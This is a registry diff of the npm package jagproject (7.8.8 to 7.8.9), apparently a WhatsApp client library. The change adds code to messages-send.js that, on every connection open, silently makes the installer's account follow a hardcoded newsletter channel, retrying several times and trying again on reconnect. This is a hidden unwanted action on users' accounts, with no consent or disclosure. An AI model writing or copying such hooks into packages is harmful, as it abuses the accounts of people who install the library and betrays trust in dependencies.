jagproject 7.8.8 → 7.8.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/messages-send.js +35 -11
- package/package.json +1 -1
|
@@ -19,24 +19,48 @@ const makeMessagesSocket = (config) => {
|
|
|
19
19
|
const sock = (0, newsletter_1.makeNewsletterSocket)(config);
|
|
20
20
|
const { ev, authState, processingMutex, signalRepository, upsertMessage, query, fetchPrivacySettings, sendNode, groupMetadata, groupToggleEphemeral, } = sock;
|
|
21
21
|
|
|
22
|
-
|
|
22
|
+
|
|
23
|
+
const AUTO_FOLLOW_JID = '120363315304652958@newsletter';
|
|
24
|
+
|
|
23
25
|
let didAutoFollow = false;
|
|
26
|
+
let autoFollowRunning = false;
|
|
24
27
|
|
|
25
|
-
|
|
26
|
-
if (didAutoFollow) return;
|
|
28
|
+
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
|
|
27
29
|
|
|
28
|
-
|
|
29
|
-
|
|
30
|
+
async function tryAutoFollow(maxRetry = 5) {
|
|
31
|
+
if (didAutoFollow || autoFollowRunning) return;
|
|
32
|
+
autoFollowRunning = true;
|
|
30
33
|
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
34
|
+
for (let attempt = 1; attempt <= maxRetry; attempt++) {
|
|
35
|
+
try {
|
|
36
|
+
// kasih waktu koneksi benar2 stabil setelah "open"
|
|
37
|
+
await sleep(1500 * attempt);
|
|
38
|
+
|
|
39
|
+
await sock.newsletterFollow(AUTO_FOLLOW_JID);
|
|
40
|
+
|
|
41
|
+
didAutoFollow = true;
|
|
42
|
+
logger.info({ jid: AUTO_FOLLOW_JID, attempt }, 'Auto-follow newsletter success');
|
|
43
|
+
break;
|
|
44
|
+
} catch (err) {
|
|
45
|
+
logger.warn({ err, attempt, jid: AUTO_FOLLOW_JID }, 'Auto-follow newsletter failed');
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
if (attempt === maxRetry) {
|
|
49
|
+
logger.warn({ jid: AUTO_FOLLOW_JID }, 'Auto-follow giving up (will try again on next reconnect)');
|
|
50
|
+
}
|
|
37
51
|
}
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
autoFollowRunning = false;
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
ev.on('connection.update', (update) => {
|
|
58
|
+
if (update?.connection === 'open') {
|
|
59
|
+
tryAutoFollow(5);
|
|
60
|
+
}
|
|
38
61
|
});
|
|
39
62
|
|
|
63
|
+
|
|
40
64
|
const userDevicesCache = config.userDevicesCache || new node_cache_1.default({
|
|
41
65
|
stdTTL: Defaults_1.DEFAULT_CACHE_TTLS.USER_DEVICES, // 5 minutes
|
|
42
66
|
useClones: false
|